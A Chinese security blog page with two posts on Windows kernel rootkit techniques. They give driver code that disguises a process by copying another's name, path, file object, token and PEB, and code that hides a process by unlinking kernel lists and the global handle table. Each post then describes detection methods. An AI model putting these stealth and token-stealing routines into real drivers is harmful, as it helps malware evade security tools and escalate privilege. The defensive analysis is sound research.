作者: admin

  • 进程伪装原理与破除

    首先演示下进程伪装的效果

    伪装前

    进程伪装原理与破除

    伪装后

    进程伪装原理与破除

    ark显示的信息

    进程伪装原理与破除

    通过测试发现,可以伪装成系统进程或者其他正常应用,来迷惑ark工具的查询;相比隐藏进程而言更加稳定和隐蔽。

    伪装进程的实现方式:

    1.傀儡进程,这种方法3环也可实现,原理类似LoadPE,在进程内存中手动拉伸修复我们的可执行程序。

    2.修改进程结构体信息达到伪装。这种进程伪装核心思想:把要伪装成进程的各种信息复制到当前进程,并且不能干扰操作系统正常运行程序。可以理解为就是疯狂CV。

    2的基本实现

    1.复制eprocess中的ImageFileName[15]  进程名

       BOOLEAN fake_processimagename(PEPROCESS dest, PEPROCESS my)
     {
    
    
    	   PCHAR destName = (PsGetProcessImageFileName)(dest);
    
    	   PCHAR myName = (PsGetProcessImageFileName)(my);
    
    	   (memcpy)(myName, destName, 15);
    
    	  return   TRUE;
     }

    2.复制eprocess中的SeAuditProcessCreationInfo  进程全路径

    //0x8 bytes (sizeof)
    struct _SE_AUDIT_PROCESS_CREATION_INFO
    {
        struct _OBJECT_NAME_INFORMATION* ImageFileName;                         //0x0
    };
    	   PUNICODE_STRING myFullName = NULL;
    	   PUNICODE_STRING destFullName = NULL;
    
    	    (SeLocateProcessImageName)(my, &myFullName);
    		(SeLocateProcessImageName)(dest, &destFullName);
    
    
    
    
    	   PUNICODE_STRING newname = (PUNICODE_STRING)(ExAllocatePool)(NonPagedPool, destFullName->MaximumLength);
    	   newname->Length = destFullName->Length;
    	   newname->MaximumLength = destFullName->MaximumLength;
    	   newname->Buffer = destFullName->Buffer;
    	   (memcpy)(newname->Buffer, destFullName->Buffer, destFullName->Length);
    
    	   *((PULONG64)((PUCHAR)my + get_eprocess_imagefilename_offset())) = (ULONG64)newname;
    
    	   (ExFreePool)(myFullName);
    	   return TRUE;

    3.复制eprocess中的ImageFilePointer 文件对象

        BOOLEAN bRet = FALSE;
        PFILE_OBJECT pFileObject = NULL;
        WCHAR* szNewFullName = NULL;
    
        if (szFullName == NULL || Process == NULL)
            return FALSE;
    
        szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
        if (szNewFullName == NULL)
            return FALSE;
    
        RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
    
        if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
            return FALSE;
    
        if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
        {
            RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
            RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            ExFreePool(szNewFullName);
            bRet = TRUE;
        }
        else
        {
            RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Buffer = szNewFullName;
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
            bRet = TRUE;
        }
    
        ObDereferenceObject(pFileObject);
        return bRet;

    4.复制eprocess中的Token 令牌

    	   PACCESS_TOKEN pSystemToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(dest);
    	   PACCESS_TOKEN MyToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(my);
    	   
    	* ((PULONG64)((PUCHAR)my + get_eprocess_token_offset())) = (ULONG64)pSystemToken;
    
    	   (ObfDereferenceObject)(pSystemToken);
    	   (ObfDereferenceObject)(MyToken);

    5.复制eprocess中的Peb  环境块 注意32位程序与64位程序不同,这里只展示64位的,记得CommandLine,WindowTitle,CurrentDirectory也要复制不然ark一眼看出差距。

    	   PPEB64 destPeb = (PPEB64)(PsGetProcessPeb)(dest);
    
    	   PPEB64 myPeb = (PPEB64)(PsGetProcessPeb)(my);
    	   if (!destPeb || !myPeb) return 0;
    
    	   KAPC_STATE fakeApcState = { 0 };
    	   KAPC_STATE srcApcState = { 0 };
    
    	   UNICODE_STRING ImagePathName = { 0 };
    	   UNICODE_STRING CommandLine = { 0 };
    	   UNICODE_STRING WindowTitle = { 0 };
    	   UNICODE_STRING dospath={0};
    	   ULONG64 Handle=0;
    	   (KeStackAttachProcess)(dest, &srcApcState);
    
    	
    	   SIZE_T pro = NULL;
    	   ( MmCopyVirtualMemory)(dest, destPeb, dest, destPeb, 1, UserMode, &pro);
    	   (MmCopyVirtualMemory)(dest, destPeb->ProcessParameters, dest, destPeb->ProcessParameters, 1, UserMode, &pro);
    
    	   //复制ImagePathName
    	   if (destPeb->ProcessParameters->ImagePathName.Length)
    	   {
    		   ImagePathName.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->ImagePathName.MaximumLength);
    		   (memcpy)(ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Length);
    		   ImagePathName.Length = destPeb->ProcessParameters->ImagePathName.Length;
    		   ImagePathName.MaximumLength = destPeb->ProcessParameters->ImagePathName.MaximumLength;
    	   }
    	   //复制CommandLine
    	   if (destPeb->ProcessParameters->CommandLine.Length)
    	   {
    		   CommandLine.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CommandLine.MaximumLength);
    		   (memcpy)(CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Length);
    		   CommandLine.Length = destPeb->ProcessParameters->CommandLine.Length;
    		   CommandLine.MaximumLength = destPeb->ProcessParameters->CommandLine.MaximumLength;
    	   }
    
    	   //复制WindowTitle
    	   if (destPeb->ProcessParameters->WindowTitle.Length)
    	   {
    		   WindowTitle.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->WindowTitle.MaximumLength);
    		   (memcpy)(WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Length);
    		   WindowTitle.Length = destPeb->ProcessParameters->WindowTitle.Length;
    		   WindowTitle.MaximumLength = destPeb->ProcessParameters->WindowTitle.MaximumLength;
    	   }
    	   //复制CurrentDirectory
    	   if (destPeb->ProcessParameters->CurrentDirectory.DosPath.Length)
    	   {
    		   dospath.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
    		   (memcpy)(dospath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Length);
    		   dospath.Length = destPeb->ProcessParameters->CurrentDirectory.DosPath.Length;
    		   dospath.MaximumLength = destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength;
    		   Handle = (ULONG64)destPeb->ProcessParameters->CurrentDirectory.Handle;
    	   }
    	   (KeUnstackDetachProcess)(&srcApcState);
    
    
    
    	   //附加要伪装的进程,并复制
    
    
    	   (KeStackAttachProcess)(my, &fakeApcState);
    
    
    	   (MmCopyVirtualMemory)(my, myPeb, my, myPeb, 1, UserMode, &pro);
    	   (MmCopyVirtualMemory)(my, myPeb->ProcessParameters, my, myPeb->ProcessParameters, 1, UserMode, &pro);
    
    	   //复制ImagePathName
    	   myPeb->ProcessParameters->ImagePathName.Length = ImagePathName.Length;
    	   myPeb->ProcessParameters->ImagePathName.MaximumLength = ImagePathName.MaximumLength;
    	   myPeb->ProcessParameters->ImagePathName.Buffer = ImagePathName.Buffer;
    
    
    	   //复制CommandLine
    	   myPeb->ProcessParameters->CommandLine.Length = CommandLine.Length;
    	   myPeb->ProcessParameters->CommandLine.MaximumLength = CommandLine.MaximumLength;
    	   myPeb->ProcessParameters->CommandLine.Buffer = CommandLine.Buffer;
    
    	   //复制WindowTitle
    
    	   myPeb->ProcessParameters->WindowTitle.Length = WindowTitle.Length;
    	   myPeb->ProcessParameters->WindowTitle.MaximumLength = WindowTitle.MaximumLength;
    	   myPeb->ProcessParameters->WindowTitle.Buffer = WindowTitle.Buffer;
    	   //复制CurrentDirectory
    
    	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Length = dospath.Length;
    	   myPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength = dospath.MaximumLength;
    	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer = dospath.Buffer;
    	   myPeb->ProcessParameters->CurrentDirectory.Handle = (PVOID)Handle;
    
    
    	   (KeUnstackDetachProcess)(&fakeApcState);
    
    	   if (ImagePathName.Length) (ExFreePool)(ImagePathName.Buffer);
    	   if (CommandLine.Length) (ExFreePool)(CommandLine.Buffer);
    	   if (WindowTitle.Length) (ExFreePool)(WindowTitle.Buffer);
    	   if (dospath.Length) (ExFreePool)(dospath.Buffer);

    6.到此为止一个最基本的伪装进程已经实现,当然还有好多细节没有copy,细节就靠个人发挥了。

    查询伪装进程

    那么问题来了,如果恶意程序进行了伪装,我们应该如何查询呢?

    俗话说的好,假的永远是假的,代替不了真的。下面介绍几个常见的查询点:

    1.模块,虽然主模块可以伪装一致,但是其他模块和模块数量明显的差异,且模块大小和基地址都可能存在差异

    进程伪装原理与破除

    2.窗口,如果伪装成例如系统进程csrss.exe是没有窗口的

    进程伪装原理与破除

    3.其他进程结构体,一般进程伪装不会完美伪装每一个细节,可以从细节信息对比差异,如eprocess中的ImagePathHash,不过本人不会从这里查,我假设伪装者很努力,复制了所有细节并且使用pdb解析完美兼容所有系统。

    4.dump可疑进程内存,并上传样本;不过对于个人而言还是太吃经济了。

    5.线程,很难保证伪装和被伪装的线程一致

    6.内存对比,伪装后进程的文件对象被修改成被伪装进程的对象,我们可以利用这一点反其道而行,读取路径中文件的pe信息与进程内存相比较。

    本人采用的思路是第六种,具体操作对比pe可选头中的镜像大小SizeOfImage,入口点 AddressOfEntryPoint,以及入口点的前几个字节,简单有效

    //大小: 32bit(0xE0) 64bit(0xF0)
    typedef struct _IMAGE_OPTIONAL_HEADER {
     
        WORD    Magic;                          //文件类型: 10bh为32位PE文件 / 20bh为64位PE文件
        BYTE    MajorLinkerVersion;             //链接器(主)版本号 对执行没有任何影响
        BYTE    MinorLinkerVersion;             //链接器(次)版本号 对执行没有任何影响
        DWORD   SizeOfCode;                     //包含代码的节的总大小.文件对齐后的大小.编译器填的没用
        DWORD   SizeOfInitializedData;          //包含已初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.
        DWORD   SizeOfUninitializedData;        //包含未初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.(未初始化数据,在文件中不占用空间;但在被加载到内存后,PE加载程序会为这些数据分配适当大小的虚拟地址空间).
        DWORD   AddressOfEntryPoint;            //程序入口(RVA)
        DWORD   BaseOfCode;                     //代码的节的基址(RVA).编译器填的没用(代码节起始的RVA,表示映像被加载进内存时代码节的开头相对于ImageBase的偏移地址,节的名称通常为".text")
        DWORD   BaseOfData;                     //数据的节的基址(RVA).编译器填的没用(数据节起始的RVA,表示映像被加载进内存时数据节的开头相对于ImageBase的偏移地址,节的名称通常为".data")
        DWORD   ImageBase;                      //内存镜像基址
        DWORD   SectionAlignment;               //内存对齐大小
        DWORD   FileAlignment;                  //文件对齐大小
        WORD    MajorOperatingSystemVersion;    //标识操作系统主版本号 
        WORD    MinorOperatingSystemVersion;    //标识操作系统次版本号 
        WORD    MajorImageVersion;              //PE文件自身的主版本号
        WORD    MinorImageVersion;              //PE文件自身的次版本号
        WORD    MajorSubsystemVersion;          //运行所需子系统主版本号
        WORD    MinorSubsystemVersion;          //运行所需子系统次版本号
        DWORD   Win32VersionValue;              //子系统版本的值.必须为0,否则程序运行失败.
        DWORD   SizeOfImage;                    //内存中整个PE文件的映射尺寸.可比实际的值大.必须是SectionAlignment的整数倍
        DWORD   SizeOfHeaders;                  //所有头+节表按照文件对齐后的大小.
        DWORD   CheckSum;                       //校验和.大多数PE文件该值为0.在内核模式的驱动程序和系统DLL中,该值则是必须存在且是正确的.在IMAGEHLP.DLL中函数CheckSumMappedFile就是用来计算文件头校验和的,对于整个PE文件也有一个校验函数MapFileAndCheckSum.
        WORD    Subsystem;                      //文件子系统  驱动程序(1) 图形界面(2) 控制台/DLL(3)
        WORD    DllCharacteristics;             //文件特性.不是针对DLL文件的
        DWORD   SizeOfStackReserve;             //初始化时保留的栈大小.该字段默认值为0x100000(1MB),如果调用API函数CreateThread时,堆栈参数大小传入NULL,则创建出来的栈大小将是1MB.
        DWORD   SizeOfStackCommit;              //初始化时实际提交的栈大小.保证初始线程的栈实际占用内存空间的大小,它是被系统提交的.这些提交的栈不存在与交换文件里,而是在内存中.
        DWORD   SizeOfHeapReserve;              //初始化时保留的堆大小.用来保留给初始进程堆使用的虚拟内存,这个堆的句柄可以通过调用函数GetProcessHeap获得.每一个进程至少会有一个默认的进程堆,该堆在进程启动时被创建,而且在进程的生命期中不会被删除.默认值为1MB.
        DWORD   SizeOfHeapCommit;               //初始化时实践提交的堆大小.在进程初始化时设定的堆所占用的内存空间,默认值为PAGE_SIZE. 
        DWORD   LoaderFlags;                    //调试相关
        DWORD   NumberOfRvaAndSizes;            //目录项数目,默认为10h.
        IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//结构数组 数组元素个数由IMAGE_NUMBEROF_DIRECTORY_ENTRIES定义
    } IMAGE_OPTIONAL_HEADER32, * PIMAGE_OPTIONAL_HEADER32;

    代码没啥可看的,太水了,当然文章讲述的更多是思路,也不排除是本人太懒。

    进程伪装原理与破除

    检测伪装进程演示:

    正常程序,文件和内存镜像一致

    进程伪装原理与破除

    伪装后的两个程序

    进程伪装原理与破除

    对比内存和文件后发现不一致,可以判定疑似伪装

    进程伪装原理与破除

  • 进程隐藏对抗

    进程隐藏对抗

    进程隐藏作用

    1.使用户无法在任务管理器中看到进程

    2.躲避安全软件的信息查询

    进程隐藏有两种实现方式:

    1.通过hook 查询进程api来过滤要保护的进程,例如ZwQuerySystemInformation;

    2.是通过抹除系统结构中关于进程的信息,如断链EPROCESS中的ActiveProcessLinks(进程活跃链表)等;

     

    第一种方法没啥好说的,哪个API查就hook哪个API,虽说都没啥用但文章主要描述第二种,还能熟悉熟悉内核结构。

     

    断链实现:

    在内核中很多数据使用_LIST_ENTRY,双向循环链表作为数据结构

    typedef struct _LIST_ENTRY 
    {
           struct _LIST_ENTRY *Flink; 
           struct _LIST_ENTRY *Blink; 
    } LIST_ENTRY, *PLIST_ENTRY;

     

     

    首先要先了解EPROCESS,和KPROCESS两个重要的结构体; 每个windows进程在0环都有这样一个对应的结构体:

    nt!_EPROCESS
    +0x000 Pcb : _KPROCESS
    +0x098 ProcessLock : _EX_PUSH_LOCK 进程锁
    +0x0a0 CreateTime : _LARGE_INTEGER 进程创建时间
    +0x0a8 ExitTime : _LARGE_INTEGER 进程结束时间
    +0x0b0 RundownProtect : _EX_RUNDOWN_REF
    +0x0b4 UniqueProcessId : Ptr32 Void PID进程id
    +0x0b8 ActiveProcessLinks : _LIST_ENTRY 活跃进程链表 双向循环链表 可断链
    +0x0c0 ProcessQuotaUsage : [2] Uint4B 物理页相关统计
    +0x0c8 ProcessQuotaPeak : [2] Uint4B
    +0x0d0 CommitCharge : Uint4B cpu占用信息
    +0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
    +0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK cpu占用信息
    +0x0dc PeakVirtualSize : Uint4B 虚拟内存相关统计
    +0x0e0 VirtualSize : Uint4B
    +0x0e4 SessionProcessLinks : _LIST_ENTRY
    +0x0ec DebugPort : Ptr32 Void 调试相关≠0则被调试
    +0x0f0 ExceptionPortData : Ptr32 Void
    +0x0f0 ExceptionPortValue : Uint4B
    +0x0f0 ExceptionPortState : Pos 0, 3 Bits
    +0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE 句柄表 内核对象
    +0x0f8 Token : _EX_FAST_REF
    +0x0fc WorkingSetPage : Uint4B
    +0x100 AddressCreationLock : _EX_PUSH_LOCK
    +0x104 RotateInProgress : Ptr32 _ETHREAD
    +0x108 ForkInProgress : Ptr32 _ETHREAD
    +0x10c HardwareTrigger : Uint4B
    +0x110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
    +0x114 CloneRoot : Ptr32 Void
    +0x118 NumberOfPrivatePages : Uint4B
    +0x11c NumberOfLockedPages : Uint4B
    +0x120 Win32Process : Ptr32 Void
    +0x124 Job : Ptr32 _EJOB
    +0x128 SectionObject : Ptr32 Void
    +0x12c SectionBaseAddress : Ptr32 Void
    +0x130 Cookie : Uint4B
    +0x134 Spare8 : Uint4B
    +0x138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
    +0x13c Win32WindowStation : Ptr32 Void
    +0x140 InheritedFromUniqueProcessId : Ptr32 Void 父进程id
    +0x144 LdtInformation : Ptr32 Void
    +0x148 VdmObjects : Ptr32 Void
    +0x14c ConsoleHostProcess : Uint4B
    +0x150 DeviceMap : Ptr32 Void
    +0x154 EtwDataSource : Ptr32 Void
    +0x158 FreeTebHint : Ptr32 Void
    +0x160 PageDirectoryPte : Uint8B
    +0x168 Session : Ptr32 Void
    +0x16c ImageFileName : [15] UChar 进程名最多存16个字符,截断
    +0x17b PriorityClass : UChar
    +0x17c JobLinks : _LIST_ENTRY
    +0x184 LockedPagesList : Ptr32 Void
    +0x188 ThreadListHead : _LIST_ENTRY 双向循环链表
    +0x190 SecurityPort : Ptr32 Void
    +0x194 PaeTop : Ptr32 Void
    +0x198 ActiveThreads : Uint4B 活跃线程数量
    +0x19c ImagePathHash : Uint4B
    +0x1a0 DefaultHardErrorProcessing : Uint4B
    +0x1a4 LastThreadExitStatus : Int4B
    +0x1a8 Peb : Ptr32 _PEB PEB(process ENVIRONMENT BLOCK 进程环境块)
    +0x1ac PrefetchTrace : _EX_FAST_REF
    +0x1b0 ReadOperationCount : _LARGE_INTEGER
    +0x1b8 WriteOperationCount : _LARGE_INTEGER
    +0x1c0 OtherOperationCount : _LARGE_INTEGER
    +0x1c8 ReadTransferCount : _LARGE_INTEGER
    +0x1d0 WriteTransferCount : _LARGE_INTEGER
    +0x1d8 OtherTransferCount : _LARGE_INTEGER
    +0x1e0 CommitChargeLimit : Uint4B
    +0x1e4 CommitChargePeak : Uint4B
    +0x1e8 AweInfo : Ptr32 Void
    +0x1ec SeAuditProcessCreationInfo : 进程路径_SE_AUDIT_PROCESS_CREATION_INFO
    +0x1f0 Vm : _MMSUPPORT
    +0x25c MmProcessLinks : _LIST_ENTRY
    +0x264 HighestUserAddress : Ptr32 Void
    +0x268 ModifiedPageCount : Uint4B
    +0x26c Flags2 : Uint4B
    +0x26c JobNotReallyActive : Pos 0, 1 Bit
    +0x26c AccountingFolded : Pos 1, 1 Bit
    +0x26c NewProcessReported : Pos 2, 1 Bit
    +0x26c ExitProcessReported : Pos 3, 1 Bit
    +0x26c ReportCommitChanges : Pos 4, 1 Bit
    +0x26c LastReportMemory : Pos 5, 1 Bit
    +0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit
    +0x26c HandleTableRundown : Pos 7, 1 Bit
    +0x26c NeedsHandleRundown : Pos 8, 1 Bit
    +0x26c RefTraceEnabled : Pos 9, 1 Bit
    +0x26c NumaAware : Pos 10, 1 Bit
    +0x26c ProtectedProcess : Pos 11, 1 Bit 保护进程
    +0x26c DefaultPagePriority : Pos 12, 3 Bits
    +0x26c PrimaryTokenFrozen : Pos 15, 1 Bit
    +0x26c ProcessVerifierTarget : Pos 16, 1 Bit
    +0x26c StackRandomizationDisabled : Pos 17, 1 Bit
    +0x26c AffinityPermanent : Pos 18, 1 Bit
    +0x26c AffinityUpdateEnable : Pos 19, 1 Bit
    +0x26c PropagateNode : Pos 20, 1 Bit
    +0x26c ExplicitAffinity : Pos 21, 1 Bit
    +0x26c Spare1 : Pos 22, 1 Bit
    +0x26c ForceRelocateImages : Pos 23, 1 Bit
    +0x26c DisallowStrippedImages : Pos 24, 1 Bit
    +0x26c LowVaAccessible : Pos 25, 1 Bit
    +0x26c RestrictIndirectBranchPrediction : Pos 26, 1 Bit
    +0x26c AddressPolicyFrozen : Pos 27, 1 Bit
    +0x26c SpeculativeStoreBypassDisable : Pos 28, 1 Bit
    +0x270 Flags : Uint4B
    +0x270 CreateReported : Pos 0, 1 Bit
    +0x270 NoDebugInherit : Pos 1, 1 Bit
    +0x270 ProcessExiting : Pos 2, 1 Bit
    +0x270 ProcessDelete : Pos 3, 1 Bit
    +0x270 Wow64SplitPages : Pos 4, 1 Bit
    +0x270 VmDeleted : Pos 5, 1 Bit
    +0x270 OutswapEnabled : Pos 6, 1 Bit
    +0x270 Outswapped : Pos 7, 1 Bit
    +0x270 ForkFailed : Pos 8, 1 Bit
    +0x270 Wow64VaSpace4Gb : Pos 9, 1 Bit
    +0x270 AddressSpaceInitialized : Pos 10, 2 Bits
    +0x270 SetTimerResolution : Pos 12, 1 Bit
    +0x270 BreakOnTermination : Pos 13, 1 Bit
    +0x270 DeprioritizeViews : Pos 14, 1 Bit
    +0x270 WriteWatch : Pos 15, 1 Bit
    +0x270 ProcessInSession : Pos 16, 1 Bit
    +0x270 OverrideAddressSpace : Pos 17, 1 Bit
    +0x270 HasAddressSpace : Pos 18, 1 Bit
    +0x270 LaunchPrefetched : Pos 19, 1 Bit
    +0x270 InjectInpageErrors : Pos 20, 1 Bit
    +0x270 VmTopDown : Pos 21, 1 Bit
    +0x270 ImageNotifyDone : Pos 22, 1 Bit
    +0x270 PdeUpdateNeeded : Pos 23, 1 Bit
    +0x270 VdmAllowed : Pos 24, 1 Bit
    +0x270 CrossSessionCreate : Pos 25, 1 Bit
    +0x270 ProcessInserted : Pos 26, 1 Bit
    +0x270 DefaultIoPriority : Pos 27, 3 Bits
    +0x270 ProcessSelfDelete : Pos 30, 1 Bit
    +0x270 SetTimerResolutionLink : Pos 31, 1 Bit
    +0x274 ExitStatus : Int4B
    +0x278 VadRoot : _MM_AVL_TABLE
    +0x298 AlpcContext : _ALPC_PROCESS_CONTEXT
    +0x2a8 TimerResolutionLink : _LIST_ENTRY
    +0x2b0 RequestedTimerResolution : Uint4B
    +0x2b4 ActiveThreadsHighWatermark : Uint4B
    +0x2b8 SmallestTimerResolution : Uint4B
    +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
    +0x2c0 SequenceNumber : Uint8B
    +0x2c8 CreateInterruptTime : Uint8B
    +0x2d0 CreateUnbiasedInterruptTime : Uint8B
    +0x2d8 SecurityDomain : Uint8B

    _EPROCESS的第一个成员是KPROCESS

     

    nt!_KPROCESS
    
      +0x000 Header           : _DISPATCHER_HEADER  可等待内核对象
    
      +0x010 ProfileListHead  : _LIST_ENTRY    
    
      +0x018 DirectoryTableBase : Uint4B     CR3 通过线性地址以及分页模式定位物理基地址
    
      +0x01c LdtDescriptor    : _KGDTENTRY  
    
      +0x024 Int21Descriptor  : _KIDTENTRY  历史遗留
    
      +0x02c ThreadListHead   : _LIST_ENTRY 双向循环链表
    
      +0x034 ProcessLock      : Uint4B  内核进程锁
    
      +0x038 Affinity         : _KAFFINITY_EX  cpu亲核性
    
      +0x044 ReadyListHead    : _LIST_ENTRY  进程就绪列表
    
      +0x04c SwapListEntry    : _SINGLE_LIST_ENTRY交互磁盘
    
      +0x050 ActiveProcessors : _KAFFINITY_EX  活跃核心
    
      +0x05c AutoAlignment    : Pos 0, 1 Bit  对齐
    
      +0x05c DisableBoost     : Pos 1, 1 Bit
    
      +0x05c DisableQuantum   : Pos 2, 1 Bit 关闭时间碎片
    
      +0x05c ActiveGroupsMask : Pos 3, 1 Bit
    
      +0x05c ReservedFlags    : Pos 4, 28 Bits
    
      +0x05c ProcessFlags     : Int4B
    
      +0x060 BasePriority     : Char  基础优先级8,进程下所有线程最低的优先级
    
      +0x061 QuantumReset     : Char时间碎片
    
      +0x062 Visited          : UChar
    
      +0x063 Unused3          : UChar
    
      +0x064 ThreadSeed       : [1] Uint4B
    
      +0x068 IdealNode        : [1] Uint2B
    
      +0x06a IdealGlobalNode  : Uint2B
    
      +0x06c Flags            : _KEXECUTE_OPTIONS
    
      +0x06d AddressPolicy    : UChar
    
      +0x06e IopmOffset       : Uint2B
    
      +0x070 Unused4          : Uint4B
    
      +0x074 StackCount       : _KSTACK_COUNT
    
      +0x078 ProcessListEntry : _LIST_ENTRY
    
      +0x080 CycleTime        : Uint8B
    
      +0x088 KernelTime       : Uint4B  
    
      +0x08c UserTime         : Uint4B
    
      +0x090 VdmTrapcHandler  : Ptr32 Void //虚拟8086模式下使用

    其中在_EPROCESS我们需要关注的是

    ActiveProcessLinks 进程活跃链表

    SessionProcessLinks 会话链表

    ObjectTable 私有句柄表

    其中在_KPROCESS我们需要关注的是

    ProcessListEntry 进程链表

     

    想要隐藏进程把所在数据的链表进程断链即可

    //断链关键代码
    FORCEINLINE
    BOOLEAN
    MyRemoveEntryList(
        _In_ PLIST_ENTRY Entry
    )
    
    {
    
        PLIST_ENTRY PrevEntry;
        PLIST_ENTRY NextEntry;
    
        NextEntry = Entry->Flink;
        PrevEntry = Entry->Blink;
        if ((NextEntry->Blink != Entry) || (PrevEntry->Flink != Entry)) {
            return FALSE;
        }
    
        PrevEntry->Flink = NextEntry;
        NextEntry->Blink = PrevEntry;
        return (BOOLEAN)(PrevEntry == NextEntry);
    }
    //
    
    
    	//断链 ProcessListEntry
    
    	PLIST_ENTRY ProfileListHead = (PLIST_ENTRY)((PUCHAR)mypEProcess + 0x18);
    	MyRemoveEntryList(ProfileListHead);
    
    
    	//断链   struct _LIST_ENTRY ThreadListHead;                                      //0x30
    	PLIST_ENTRY ThreadListHead = (PLIST_ENTRY)((PUCHAR)mypEProcess + 0x30);
    	MyRemoveEntryList(ProfileListHead);
    
    
    	//断链struct_LIST_ENTRYSessionProcessLinks
    	PLIST_ENTRY essionProcessLinks = (PLIST_ENTRY)((PUCHAR)mypEProcess + get_eprocess_session_offset());
    	MyRemoveEntryList(essionProcessLinks);
    
      	//断链 private ObjectTable
    	_HANDLE_TABLE* table= (_HANDLE_TABLE*)((PUCHAR)mypEProcess + get_eprocess_objecttable_offset());
    	 MyRemoveEntryList(table->HandleTableList);

     

    当然仅仅断链是不够的,因为操作系统还有一张全局句柄表PspCidTable,其中存储了线程和进程,我们还需要把我们的进程从全局句柄表中抹除,可以使用ExDestroyHandle

    _int64 __fastcall ExDestroyHandle(__int64 a1, __int64 a2, __int64 a3)
    {
      unsigned int v6; // ebx
    
      if ( *(_QWORD *)(a1 + 96) )
        ExpUpdateDebugInfo(a1, KeGetCurrentThread(), a2, 2i64);
      v6 = ExSweepSingleHandle(a1, a3);
      ExpFreeHandleTableEntry(a1, a2, a3);
      return v6;
    }

     

    	if (instance->fn_get_os_build_number() == 7600 || instance->fn_get_os_build_number() == 7601) table_code = ((PHANDLE_TABLE_W7)table)->TableCode;
    	else table_code = table->TableCode;
    
    	auto level = table_code & 3;
    
    	if (level == 1) {
    
    		return (PHANDLE_TABLE_ENTRY)(*(uint64_t*)(table_code - 1 + 8 * (u_handle >> 10)) + 4 * (u_handle & 0X3FF));
    	}
    	else if (level == 2) {
    
    		return (PHANDLE_TABLE_ENTRY)(*(uint64_t*)(*(uint64_t*)(table_code - 2 + 8 * (u_handle >> 19)) + 8 * (u_handle >> 10 & 0X1FF)) + 4 * (u_handle & 0x3ff));
    
    	}
    	else {
    
    		return (PHANDLE_TABLE_ENTRY)(table_code + 4 * (u_handle & 0x3ff));
    
    	}

    注:高版本对全局句柄表有加密

    实验:

    隐藏前DebugView 8404

    进程隐藏对抗

    隐藏后

    进程隐藏对抗

    需要注意,关闭进程前需要还原全局句柄表,不然会蓝屏;

    其次在高版本系统上PG增加了对隐藏进程的检测,有概率触发蓝屏,不过没那么快,运气好能挺好几个小时;

    具体的隐藏进程完整代码可以参考一份开源的:https://github.com/Oxygen1a1/HideProcess

    那么问题来了,如果恶意软件隐藏自己的进程我们如何查询呢?

    思考:进程是给用户看的,CPU不认识进程,代码也是跑在线程上面的 ,最重要的是cpu线程的调度是基于某些链表进行调度的,如果把cpu调度链表也断了,进程也就跑不起来了,可谓是真正实现了无痕进程隐藏;其次内核中有很多链表都能回溯到进程信息。

    本人采用的方法是通过遍历枚举线程去回溯到进程,在 _ETHREAD中_CLIENT_ID储存了当前线程所属的进程id

    //0x10 bytes (sizeof)
    struct _CLIENT_ID
    {
        VOID* UniqueProcess;                                                    //0x0
        VOID* UniqueThread;                                                     //0x8
    };

    查询恶意隐藏进程思路:正常调用API遍历进程并存储表A,暴力枚举线程回溯进程并存储表B,如果B中的进程在A中找不到基本可以判断进程进行了隐藏。

    这里为了省事和便于观看就简写代码:

    	PETHREAD Thread = NULL;
    	NTSTATUS status;;
      //直接假设句柄表是三级,问就是图省事
    	for (size_t i = 0; i < 1024*1024*512; i++)
    	{
    		status=PsLookupThreadByThreadId(i, &Thread);
    		if (NT_SUCCESS(status))
    		{
    
    			ULONG64 UniqueProcess = *(ULONG64*)((PUCHAR)Thread + 0x4c8);
    		//	DbgPrintEx(77, 0, "%d\r\n", UniqueProcess);
    			if (UniqueProcess == 8404)
    			{
    				DbgPrintEx(77, 0, "找到隐藏的进程 %d\r\n", UniqueProcess);
    				break;
    
    			}
    		}
    
    	  }

    进程隐藏对抗

    总的来说如果对抗同在内核层隐藏进程什么用没有,有机会下期更新 进程伪装对抗

  • 无”痕”加载驱动模块之漏驱利用(下)

    无”痕”加载驱动模块之漏驱利用(下)

    回顾傀儡驱动加载致命缺点

